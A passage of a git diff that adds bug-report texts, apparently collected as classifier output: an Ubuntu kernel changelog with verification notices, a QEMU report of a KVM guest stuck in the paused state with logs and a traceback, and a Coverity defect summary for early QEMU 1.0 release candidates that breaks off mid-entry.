setup failure on missing rampatch + - Bluetooth: btqcomsmd: Fix skb double free corruption + - cpufreq: longhaul: Revert transition_delay_us to 200 ms + - media: c8sectpfe: fix potential NULL pointer dereference in + c8sectpfe_timer_interrupt + - drm/msm: fix leak in failed get_pages + - IB/ipoib: Warn when one port fails to initialize + - RDMA/iwpm: Fix uninitialized error code in iwpm_send_mapinfo() + - hv_netvsc: Fix the receive buffer size limit + - hv_netvsc: Fix the TX/RX buffer default sizes + - tcp: allow TLP in ECN CWR + - spi: sh-msiof: Avoid writing to registers from spi_master.setup() + - libbpf: prefer global symbols as bpf program name source + - rtlwifi: rtl_pci: Fix the bug when inactiveps is enabled. + - rtlwifi: always initialize variables given to RT_TRACE() + - media: bt8xx: Fix err 'bt878_probe()' + - ath10k: handling qos at STA side based on AP WMM enable/disable + - media: [RESEND] media: dvb-frontends: Add delay to Si2168 restart + - qmi_wwan: set FLAG_SEND_ZLP to avoid network initiated disconnect + - tty: goldfish: Enable 'earlycon' only if built-in + - serial: 8250_dw: Disable clock on error + - cros_ec: fix nul-termination for firmware build info + - watchdog: Fix potential kref imbalance when opening watchdog + - watchdog: Fix kref imbalance seen if handle_boot_enabled=0 + - platform/chrome: Use proper protocol transfer function + - dmaengine: zynqmp_dma: Fix race condition in the probe + - drm/tilcdc: ensure nonatomic iowrite64 is not used + - mmc: avoid removing non-removable hosts during suspend + - mmc: block: fix logical error to avoid memory leak + - /dev/mem: Add bounce buffer for copy-out + - net: phy: meson-gxl: check phy_write return value + - sfp: fix EEPROM reading in the case of non-SFF8472 SFPs + - sfp: fix non-detection of PHY + - media: s5p-mfc: Fix lock contention - request_firmware() once + - rtc: ac100: Fix multiple race conditions + - IB/ipoib: Avoid memory leak if the SA returns a different DGID + - RDMA/cma: Use correct size when writing netlink stats + - IB/umem: Fix use of npages/nmap fields + - iser-target: avoid reinitializing rdma contexts for isert commands + - bpf/cgroup: fix a verification error for a CGROUP_DEVICE type prog + - vgacon: Set VGA struct resource types + - omapdrm: panel: fix compatible vendor string for td028ttec1 + - mmc: sdhci-xenon: wait 5ms after set 1.8V signal enable + - drm/omap: DMM: Check for DMM readiness after successful transaction commit + - pty: cancel pty slave port buf's work in tty_release + - coresight: Fix disabling of CoreSight TPIU + - PCI: designware-ep: Fix ->get_msi() to check MSI_EN bit + - PCI: endpoint: Fix find_first_zero_bit() usage + - PCI: rcar: Handle rcar_pcie_parse_request_of_pci_ranges() failures + - media: davinci: fix a debug printk + - clk: check ops pointer on clock register + - dt-bindings: display: panel: Fix compatible string for Toshiba LT089AC29000 + - clk: use round rate to bail out early in set_rate + - pinctrl: Really force states during suspend/resume + - pinctrl: rockchip: enable clock when reading pin direction register + - iommu/vt-d: clean up pr_irq if request_threaded_irq fails + - ip6_vti: adjust vti mtu according to mtu of lower device + - ip_gre: fix error path when erspan_rcv failed + - ip_gre: fix potential memory leak in erspan_rcv + - soc: qcom: smsm: fix child-node lookup + - RDMA/ocrdma: Fix permissions for OCRDMA_RESET_STATS + - ARM: dts: aspeed-evb: Add unit name to memory node + - nfsd4: permit layoutget of executable-only files + - clk: at91: pmc: Wait for clocks when resuming + - clk: Don't touch hardware when reparenting during registration + - clk: axi-clkgen: Correctly handle nocount bit in recalc_rate() + - clk: si5351: Rename internal plls to avoid name collisions + - crypto: artpec6 - set correct iv size for gcm(aes) + - hwrng: core - Clean up RNG list when last hwrng is unregistered + - dmaengine: ti-dma-crossbar: Fix event mapping for TPCC_EVT_MUX_60_63 + - IB/mlx5: Fix integer overflows in mlx5_ib_create_srq + - IB/mlx5: Fix out-of-bounds read in create_raw_packet_qp_rq + - RDMA/vmw_pvrdma: Fix usage of user response structures in ABI file + - serial: 8250_pci: Don't fail on multiport card class + - RDMA/core: Do not use invalid destination in determining port reuse + - clk: migrate the count of orphaned clocks at init + - RDMA/ucma: Fix access to non-initialized CM_ID object + - RDMA/ucma: Don't allow join attempts for unsupported AF family + - Linux 4.15.13 + + * Ubuntu18.04:PowerPC - Set Transparent Huge Pages (THP) by default to + "always" (LP: #1753708) + - Config: Set TRANSPARENT_HUGEPAGE_ALWAYS=y on ppc64el + + * Bionic update to 4.15.12 stable release (LP: #1757465) + - x86/cpufeatures: Add Intel Total Memory Encryption cpufeature + - x86/cpufeatures: Add Intel PCONFIG cpufeature + - selftests/x86/entry_from_vm86: Exit with 1 if we fail + - selftests/x86/entry_from_vm86: Add test cases for POPF + - x86/vm86/32: Fix POPF emulation + - x86/speculation, objtool: Annotate indirect calls/jumps for objtool on + 32-bit kernels + - x86/speculation: Remove Skylake C2 from Speculation Control microcode + blacklist + - KVM: x86: Fix device passthrough when SME is active + - x86/mm: Fix vmalloc_fault to use pXd_large + - parisc: Handle case where flush_cache_range is called with no context + - ALSA: pcm: Fix UAF in snd_pcm_oss_get_formats() + - ALSA: hda - Revert power_save option default value + - ALSA: seq: Fix possible UAF in snd_seq_check_queue() + - ALSA: seq: Clear client entry before deleting else at closing + - drm/nouveau/bl: Fix oops on driver unbind + - drm/nouveau/mmu: ALIGN_DOWN correct variable + - drm/amdgpu: fix prime teardown order + - drm/radeon: fix prime teardown order + - drm/amdgpu/dce: Don't turn off DP sink when disconnected + - fs: Teach path_connected to handle nfs filesystems with multiple roots. + - KVM: arm/arm64: Reduce verbosity of KVM init log + - KVM: arm/arm64: Reset mapped IRQs on VM reset + - kvm: arm/arm64: vgic-v3: Tighten synchronization for guests using v2 on v3 + - KVM: arm/arm64: vgic: Don't populate multiple LRs with the same vintid + - lock_parent() needs to recheck if dentry got __dentry_kill'ed under it + - fs/aio: Add explicit RCU grace period when freeing kioctx + - fs/aio: Use RCU accessors for kioctx_table->table[] + - RDMAVT: Fix synchronization around percpu_ref + - irqchip/gic-v3-its: Ensure nr_ites >= nr_lpis + - nvme: fix subsystem multiple controllers support check + - xfs: preserve i_rdev when recycling a reclaimable inode + - btrfs: Fix NULL pointer exception in find_bio_stripe + - btrfs: add missing initialization in btrfs_check_shared + - btrfs: alloc_chunk: fix DUP stripe size handling + - btrfs: Fix use-after-free when cleaning up fs_devs with a single stale + device + - btrfs: remove spurious WARN_ON(ref->count < 0) in find_parent_nodes + - btrfs: Fix memory barriers usage with device stats counters + - scsi: qla2xxx: Fix smatch warning in qla25xx_delete_{rsp|req}_que + - scsi: qla2xxx: Fix NULL pointer access for fcport structure + - scsi: qla2xxx: Fix logo flag for qlt_free_session_done() + - scsi: qla2xxx: Fix crashes in qla2x00_probe_one on probe failure + - usb: dwc2: fix STM32F7 USB OTG HS compatible + - dt-bindings: usb: fix the STM32F7 DWC2 OTG HS core binding + - USB: gadget: udc: Add missing platform_device_put() on error in + bdc_pci_probe() + - usb: dwc3: Fix GDBGFIFOSPACE_TYPE values + - usb: dwc3: core: Power-off core/PHYs on system_suspend in host mode + - usb: dwc3: of-simple: fix oops by unbalanced clk disable call + - usb: gadget: udc: renesas_usb3: fix oops in renesas_usb3_remove() + - phy: phy-brcm-usb: Fix two DT properties to match bindings doc + - phy: phy-brcm-usb-init: Some Low Speed keyboards fail on 7271 + - phy: phy-brcm-usb-init: DRD mode can cause crash on startup + - phy: phy-brcm-usb-init: Power down USB 3.0 PHY when XHCI disabled + - Linux 4.15.12 + + * cxl: Fix timebase synchronization status on POWER9 missing (CAPI) + (LP: #1757228) + - cxl: Fix timebase synchronization status on P9 + + * [Feature][GLK] Enable L2 CDP (Code and Data Prioritization) (LP: #1737873) + - x86/intel_rdt: Enumerate L2 Code and Data Prioritization (CDP) feature + - x86/intel_rdt: Add command line parameter to control L2_CDP + + * [Feature] Crystal Ridge-Restrict DAX to configurations with struct page + (LP: #1751724) + - mm, dax: introduce pfn_t_special() + - ext2: auto disable dax instead of failing mount + - ext4: auto disable dax instead of failing mount + - dax: require 'struct page' by default for filesystem dax + - Config: Enable CONFIG_FS_DAX_LIMITED + + * Bionic update to 4.15.11 stable release (LP: #1756978) + - x86: Treat R_X86_64_PLT32 as R_X86_64_PC32 + - ASoC: sun4i-i2s: Fix RX slot number of SUN8I + - ASoC: sgtl5000: Fix suspend/resume + - ASoC: wm_adsp: For TLV controls only register TLV get/set + - ASoC: rt5651: Fix regcache sync errors on resume + - usb: host: xhci-rcar: add support for r8a77965 + - xhci: Fix front USB ports on ASUS PRIME B350M-A + - xhci: fix endpoint context tracer output + - serial: sh-sci: prevent lockup on full TTY buffers + - tty/serial: atmel: add new version check for usart + - uas: fix comparison for error code + - staging: comedi: fix comedi_nsamples_left. + - staging: android: ashmem: Fix lockdep issue during llseek + - scsi: sd_zbc: Fix potential memory leak + - USB: storage: Add JMicron bridge 152d:2567 to unusual_devs.h + - usbip: vudc: fix null pointer dereference on udc->lock + - usb: quirks: add control message delay for 1b1c:1b20 + - usb: usbmon: Read text within supplied buffer size + - usb: gadget: f_fs: Fix use-after-free in ffs_fs_kill_sb() + - usb: dwc3: Fix lock-up on ID change during system suspend/resume + - serial: 8250_pci: Add Brainboxes UC-260 4 port serial device + - serial: core: mark port as initialized in autoconfig + - earlycon: add reg-offset to physical address before mapping + - dm mpath: fix passing integrity data + - Revert "btrfs: use proper endianness accessors for super_copy" + - gfs2: Clean up {lookup,fillup}_metapath + - gfs2: Fixes to "Implement iomap for block_map" (2) + - drm/panel: rpi-touchscreen: propagate errors in rpi_touchscreen_i2c_read() + - spi: imx: Fix failure path leak on GPIO request error correctly + - HID: multitouch: Only look at non touch fields in first packet of a frame + - KVM: PPC: Book3S HV: Avoid shifts by negative amounts + - drm/edid: set ELD connector type in drm_edid_to_eld() + - dma-buf/fence: Fix lock inversion within dma-fence-array + - video/hdmi: Allow "empty" HDMI infoframes + - KVM: PPC: Book3S HV: Fix typo in kvmppc_hv_get_dirty_log_radix() + - HID: elo: clear BTN_LEFT mapping + - iwlwifi: mvm: rs: don't override the rate history in the search cycle + - ARM: dts: koelsch: Move cec_clock to root node + - clk: meson: gxbb: fix wrong clock for SARADC/SANA + - ARM: dts: exynos: Correct Trats2 panel reset line + - drm/amdgpu: fix get_max_engine_clock_in_mhz + - staging: rtl8822be: fix missing null check on dev_alloc_skb return + - typec: tcpm: fusb302: Resolve out of order messaging events + - USB: ledtrig-usbport: fix of-node leak + - dt-bindings: serial: Add common rs485 binding for RTS polarity + - sched: Stop switched_to_rt() from sending IPIs to offline CPUs + - sched: Stop resched_cpu() from sending IPIs to offline CPUs + - crypto: chelsio - Fix an error code in chcr_hash_dma_map() + - crypto: ecc - Fix NULL pointer deref. on no default_rng + - crypto: keywrap - Add missing ULL suffixes for 64-bit constants + - crypto: cavium - fix memory leak on info + - test_firmware: fix setting old custom fw path back on exit + - drm/vblank: Fix vblank timestamp debugs + - net: ieee802154: adf7242: Fix bug if defined DEBUG + - rtc: brcmstb-waketimer: fix error handling in brcmstb_waketmr_probe() + - perf report: Fix -D output for user metadata events + - net: xfrm: allow clearing socket xfrm policies. + - gpiolib: don't allow OPEN_DRAIN & OPEN_SOURCE flags simultaneously + - mtd: nand: fix interpretation of NAND_CMD_NONE in nand_command[_lp]() + - net: thunderx: Set max queue count taking XDP_TX into account + - ARM: dts: am335x-pepper: Fix the audio CODEC's reset pin + - ARM: dts: omap3-n900: Fix the audio CODEC's reset pin + - mtd: nand: ifc: update bufnum mask for ver >= 2.0.0 + - userns: Don't fail follow_automount based on s_user_ns + - xfrm: Fix xfrm_replay_overflow_offload_esn + - leds: pm8058: Silence pointer to integer size warning + - bpf: fix stack state printing in verifier log + - power: supply: sbs-message: double left shift bug in sbsm_select() + - power: supply: ab8500_charger: Fix an error handling path + - power: supply: ab8500_charger: Bail out in case of error in + 'ab8500_charger_init_hw_registers()' + - drm/etnaviv: make THERMAL selectable + - iio: adc: ina2xx: Shift bus voltage register to mask flag bits + - iio: health: max30102: Add power enable parameter to get_temp function + - ath10k: update tdls teardown state to target + - cpufreq: Fix governor module removal race + - KVM: X86: Restart the guest when insn_len is zero and SEV is enabled + - drm/amdgpu:fix random missing of FLR NOTIFY + - scsi: ses: don't ask for diagnostic pages repeatedly during probe + - pwm: stmpe: Fix wrong register offset for hwpwm=2 case + - drm/sun4i: Fix format mask in DE2 driver + - pinctrl: sh-pfc: r8a7791: Add can_clk function + - pinctrl: sh-pfc: r8a7795-es1: Fix MOD_SEL1 bit[25:24] to 0x3 when using + STP_ISEN_1_D + - perf annotate: Fix unnecessary memory allocation for s390x + - perf annotate: Fix objdump comment parsing for Intel mov dissassembly + - iwlwifi: mvm: avoid dumping assert log when device is stopped + - drm/amdgpu:fix virtual dce bug + - drm/amdgpu: fix amdgpu_sync_resv v2 + - bnxt_en: Uninitialized variable in bnxt_tc_parse_actions() + - clk: qcom: msm8916: fix mnd_width for codec_digcodec + - mwifiex: cfg80211: do not change virtual interface during scan processing + - ath10k: fix invalid STS_CAP_OFFSET_MASK + - tools/usbip: fixes build with musl libc toolchain + - spi: sun6i: disable/unprepare clocks on remove + - bnxt_en: Don't print "Link speed -1 no longer supported" messages. + - scsi: core: scsi_get_device_flags_keyed(): Always return device flags + - scsi: devinfo: apply to HP XP the same flags as Hitachi VSP + - scsi: dh: add new rdac devices + - clk: renesas: r8a77970: Add LVDS clock + - staging: fsl-dpaa2/eth: Fix access to FAS field + - media: vsp1: Prevent suspending and resuming DRM pipelines + - dm raid: fix raid set size revalidation + - media: cpia2: Fix a couple off by one bugs + - media: davinci: vpif_capture: add NULL check on devm_kzalloc return value + - virtio_net: Disable interrupts if napi_complete_done rescheduled napi + - net: sched: drop qdisc_reset from dev_graft_qdisc + - veth: set peer GSO values + - drm/amdkfd: Fix memory leaks in kfd topology + - powerpc/64: Don't trace irqs-off at interrupt return to soft-disabled + context + - arm64: dts: renesas: salvator-common: Add EthernetAVB PHY reset + - agp/intel: Flush all chipset writes after updating the GGTT + - mac80211_hwsim: enforce PS_MANUAL_POLL to be set after PS_ENABLED + - mac80211: remove BUG() when interface type is invalid + - crypto: caam/qi - use correct print specifier for size_t + - ASoC: nuc900: Fix a loop timeout test + - mmc: mmc_test: Ensure command queue is disabled for testing + - Fix misannotated out-of-line _copy_to_user() + - ipvlan: add L2 check for packets arriving via virtual devices + - rcutorture/configinit: Fix build directory error message + - locking/locktorture: Fix num reader/writer corner cases + - ima: relax requiring a file signature for new files with zero length + - IB/mlx5: revisit -Wmaybe-uninitialized warning + - dmaengine: qcom_hidma: check pending interrupts + - drm/i915/glk: Disable Guc and HuC on GLK + - Linux 4.15.11 + - Config: Enable CONFIG_DRM_ETNAVIV_THERMAL=y + + * [FFE][Feature] KVM CLX avx512_vnni (LP: #1739665) + - KVM: x86: add support for UMIP + - KVM: Expose new cpu features to guest + + * Ubuntu18.04[P9 DD2.2 Boston]:Unable to boot power8 compat mode + guests(ubuntu14.04.5) (kvm) (LP: #1756254) + - KVM: PPC: Book3S HV: Allow HPT and radix on the same core for POWER9 v2.2 + + * Allow hugepage backing for "p8compat" mode kvm guests (LP: #1754206) + - KVM: PPC: Book3S HV: Fix VRMA initialization with 2MB or 1GB memory backing + + * [Bug][KVM][Crystal Ridge] Terrible performance of vNVDIMM on QEMU with + device DAX backend (LP: #1745899) + - x86/mm: add a function to check if a pfn is UC/UC-/WC + - KVM: MMU: consider host cache mode in MMIO page check + + * nfp: read ME frequency from vNIC ctrl memory (LP: #1752818) + - nfp: add TLV capabilities to the BAR + - nfp: read ME frequency from vNIC ctrl memory + - nfp: fix TLV offset calculation + + * Miscellaneous Ubuntu changes + - [Packaging] skip cloud tools packaging when not building package + - [Packaging] final-checks -- remove check for empty retpoline files + + -- Seth Forshee <email address hidden> Wed, 04 Apr 2018 08:26:19 -0500 + +This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-bionic' to 'verification-done-bionic'. If the problem still exists, change the tag 'verification-needed-bionic' to 'verification-failed-bionic'. + +If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. + +See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! + + +This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-bionic' to 'verification-done-bionic'. If the problem still exists, change the tag 'verification-needed-bionic' to 'verification-failed-bionic'. + +If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. + +See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! + + +This bug was erroneously marked for verification in bionic; verification is not required and verification-needed-bionic is being removed. + diff --git a/results/classifier/deepseek-1/output/errors./1902394 b/results/classifier/deepseek-1/output/errors./1902394 new file mode 100644 index 00000000..b2399518 --- /dev/null +++ b/results/classifier/deepseek-1/output/errors./1902394 @@ -0,0 +1,109 @@ + +Guest stuck in Paused state right after created It + +Im using Centos 8 . I have try to use many Distribution such as : Centos, Ubuntum, Debian,.. on the guest but still all the the VM get into paused state immidiately after using virt-install ( I have tried using virt-manager too ) + +CPU INFO : +Architecture: x86_64 +CPU op-mode(s): 32-bit, 64-bit +Byte Order: Little Endian +CPU(s): 8 +On-line CPU(s) list: 0-7 +Thread(s) per core: 1 +Core(s) per socket: 1 +Socket(s): 8 +NUMA node(s): 1 +Vendor ID: GenuineIntel +CPU family: 6 +Model: 85 +Model name: Intel(R) Xeon(R) Silver 4214 CPU @ 2.20GHz +Stepping: 7 +CPU MHz: 2199.998 +BogoMIPS: 4399.99 +Virtualization: VT-x +Hypervisor vendor: KVM +Virtualization type: full +L1d cache: 32K +L1i cache: 32K +L2 cache: 4096K +L3 cache: 16384K +NUMA node0 CPU(s): 0-7 +Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch invpcid_single pti ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f rdseed adx smap clflushopt clwb avx512cd xsaveopt xsavec xgetbv1 arat + +VM Log : + +2020-10-31 08:29:51.737+0000: starting up libvirt version: 4.5.0, package: 42.module_el8.2.0+320+13f867d7 (CentOS Buildsys <email address hidden>, 2020-05-28-17:13:31, ), qemu version: 2.12.0qemu-kvm-2.12.0-99.module_el8.2.0+524+f765f7e0.4, kernel: 4.18.0-193.28.1.el8_2.x86_64, hostname: interns.novalocal +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=spice /usr/libexec/qemu-kvm -name guest=cirros,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-18-cirros/master-key.aes -machine pc-i440fx-rhel7.6.0,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu Cascadelake-Server,ss=on,hypervisor=on,tsc-adjust=on,arch-capabilities=on,ibpb=on,skip-l1dfl-vmentry=on,invpcid=off,avx512dq=off,avx512bw=off,avx512vl=off,pku=off,avx512vnni=off,pdpe1gb=off -m 1024 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid ef9573a3-a02d-4ef0-86cb-e38da7b7b20d -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=29,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -drive file=/home/kvm/cirros-0.3.0-x86_64-disk.img,format=qcow2,if=none,id=drive-ide0-0-0 -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=31,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=52:54:00:c3:32:b0,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -device usb-tablet,id=input0,bus=usb.0,port=1 -spice port=5900,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -chardev spicevmc,id=charredir0,name=usbredir -device usb-redir,chardev=charredir0,id=redir0,bus=usb.0,port=2 -chardev spicevmc,id=charredir1,name=usbredir -device usb-redir,chardev=charredir1,id=redir1,bus=usb.0,port=3 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on +2020-10-31T08:29:51.815604Z qemu-kvm: -chardev pty,id=charserial0: char device redirected to /dev/pts/1 (label charserial0) +KVM: exception 0 exit (error code 0x0) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=00050656 +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=0000fff0 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 00000000 0000ffff 00009300 +CS =f000 ffff0000 0000ffff 00009b00 +SS =0000 00000000 0000ffff 00009300 +DS =0000 00000000 0000ffff 00009300 +FS =0000 00000000 0000ffff 00009300 +GS =0000 00000000 0000ffff 00009300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 0000ffff +IDT= 00000000 0000ffff +CR0=60000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000000 +Code=06 66 05 00 00 01 00 8e c1 26 66 a3 74 f0 66 5b 66 5e 66 c3 <ea> 5b e0 00 f0 30 36 2f 32 33 2f 39 39 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + +The Error I have when try to resume the Guest with Virt Manager : + +Error unpausing domain: internal error: unable to execute QEMU command 'cont': Resetting the Virtual Machine is required + +Traceback (most recent call last): + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 75, in cb_wrapper + callback(asyncjob, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 111, in tmpcb + callback(*args, **kwargs) + File "/usr/share/virt-manager/virtManager/object/libvirtobject.py", line 66, in newfn + ret = fn(self, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/object/domain.py", line 1311, in resume + self._backend.resume() + File "/usr/lib64/python3.6/site-packages/libvirt.py", line 2012, in resume + if ret == -1: raise libvirtError ('virDomainResume() failed', dom=self) +libvirt.libvirtError: internal error: unable to execute QEMU command 'cont': Resetting the Virtual Machine is required + + +Any help would be so helpful cause I stuck in this case for like 4 days already. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/errors./887883 b/results/classifier/deepseek-1/output/errors./887883 new file mode 100644 index 00000000..de771003 --- /dev/null +++ b/results/classifier/deepseek-1/output/errors./887883 @@ -0,0 +1,179 @@ + +Coverity scan revealed defects + +Coverity scan detected some issues such as RESOURCE_LEAK and REVERSE_INULL etc on qemu-1.0rc1: + +Analysis summary report: +------------------------ +Files analyzed : 830 +Total LoC input to cov-analyze : 576549 +Functions analyzed : 20721 +Paths analyzed : 858376 +New defects found : 428 Total + 2 ARRAY_VS_SINGLETON + 9 CHECKED_RETURN + 19 CONSTANT_EXPRESSION_RESULT + 60 DEADCODE + 43 FORWARD_NULL + 14 INFINITE_LOOP + 36 MISSING_BREAK + 3 MISSING_LOCK + 47 NEGATIVE_RETURNS + 1 NO_EFFECT + 11 NULL_RETURNS + 51 OVERRUN_STATIC + 1 RESOURCE_LEAK + 79 REVERSE_INULL + 20 SIGN_EXTENSION + 7 SIZEOF_MISMATCH + 15 UNINIT + 5 UNREACHABLE + 2 UNUSED_VALUE + 3 USE_AFTER_FREE + +For details, please see attachment. + + + +This is latest result on qemu-1.0-rc3, and I notice that 'RESOURCE_LEAK' is 10 now: + +Analysis summary report: +------------------------ +Files analyzed : 825 +Total LoC input to cov-analyze : 576887 +Functions analyzed : 20639 +Paths analyzed : 896645 +Defect occurrences found : 432 Total + 2 ARRAY_VS_SINGLETON + 4 ATOMICITY + 10 CHECKED_RETURN + 17 CONSTANT_EXPRESSION_RESULT + 62 DEADCODE + 42 FORWARD_NULL + 10 INFINITE_LOOP + 34 MISSING_BREAK + 1 MISSING_LOCK + 44 NEGATIVE_RETURNS + 10 NULL_RETURNS + 46 OVERRUN_STATIC + 10 RESOURCE_LEAK + 78 REVERSE_INULL + 1 REVERSE_NEGATIVE + 18 SIGN_EXTENSION + 7 SIZEOF_MISMATCH + 26 UNINIT + 5 UNREACHABLE + 2 UNUSED_VALUE + 3 USE_AFTER_FREE + +For details, please see attachment. + + + +I believe the ARM ones are bogus (although some could be clearer and simulataneously clear some of the warnings): + +Error: DEADCODE: *** IFDEF dependent +hw/arm_gic.c:409: +dead_error_condition: On this path, the condition "irq < 16" cannot be true. + *** ifdef'd - only true if NVIC defined +hw/arm_gic.c:407: +between: After this line, the value of "irq" is between 32 and 95. +hw/arm_gic.c:406: +assignment: Assigning: "irq" = "(offset - 256U) * 8U + 32U". +hw/arm_gic.c:407: +new_values: Noticing condition "irq >= 96". +hw/arm_gic.c:391: +new_values: Noticing condition "offset < 256U". +hw/arm_gic.c:410: +dead_error_line: Execution cannot reach this statement "value = 255U;". + +Error: DEADCODE: *** IFDEF dependent on NVIC +hw/arm_gic.c:434: +dead_error_condition: On this path, the condition "irq < 16" cannot be true. +hw/arm_gic.c:432: +between: After this line, the value of "irq" is between 32 and 95. +hw/arm_gic.c:431: +assignment: Assigning: "irq" = "(offset - 384U) * 8U + 32U". +hw/arm_gic.c:432: +new_values: Noticing condition "irq >= 96". +hw/arm_gic.c:391: +new_values: Noticing condition "offset < 256U". +hw/arm_gic.c:435: +dead_error_line: Execution cannot reach this statement "value = 0U;". + +Error: DEADCODE: *** IFDEF dependent on NVIC +hw/arm_gic.c:451: +dead_error_condition: On this path, the condition "irq < 16" cannot be true. +hw/arm_gic.c:449: +between: After this line, the value of "irq" is between 32 and 95. +hw/arm_gic.c:448: +assignment: Assigning: "irq" = "(offset - 512U) * 8U + 32U". +hw/arm_gic.c:449: +new_values: Noticing condition "irq >= 96". +hw/arm_gic.c:391: +new_values: Noticing condition "offset < 256U". +hw/arm_gic.c:452: +dead_error_line: Execution cannot reach this statement "irq = 0;". + +Error: DEADCODE: *** IFDEF depedent on NVIC +hw/arm_gic.c:480: +dead_error_condition: On this path, the condition "irq < 32" cannot be true. +hw/arm_gic.c:478: +between: After this line, the value of "irq" is between 32 and 95. +hw/arm_gic.c:477: +assignment: Assigning: "irq" = "offset - 1024U + 32U". +hw/arm_gic.c:478: +new_values: Noticing condition "irq >= 96". +hw/arm_gic.c:472: +new_values: Noticing condition "offset < 1024U". +hw/arm_gic.c:481: +dead_error_line: Execution cannot reach this statement "s->priority1[irq][cpu] = va...". + +Error: DEADCODE: *** Set in ifdef 0'd path +arm-dis.c:4012: +dead_error_condition: On this path, the condition "is_data" cannot be true. +arm-dis.c:3874: +const: After this line, the value of "is_data" is equal to 0. +arm-dis.c:3874: +assignment: Assigning: "is_data" = "0". +arm-dis.c:4014: +dead_error_begin: Execution cannot reach this statement "int i;". + +Error: NEGATIVE_RETURNS: *** I think the -1 value triggers the increment on line 9957 so it isn't -ve as an index +target-arm/translate.c:9873: +var_tested_neg: Assigning: "lj" = a negative value. +target-arm/translate.c:9961: +negative_returns: Using variable "lj" as an index to array "gen_opc_pc". + +Error: OVERRUN_STATIC: *** Safe because irq%8 always =0 and GIC_NIRQ divisible by 8 (but would be better to do irq+8 > GIC_NIRQ +hw/arm_gic.c:274: +assignment: Assigning: "irq" = "(offset - 256U) * 8U". +hw/arm_gic.c:277: +assignment: Assigning: "irq" = "irq += 0". +hw/arm_gic.c:282: +overrun-local: Overrunning static array "s->irq_state", with 96 elements, at position 96 with index variable "irq + i". + +Error: 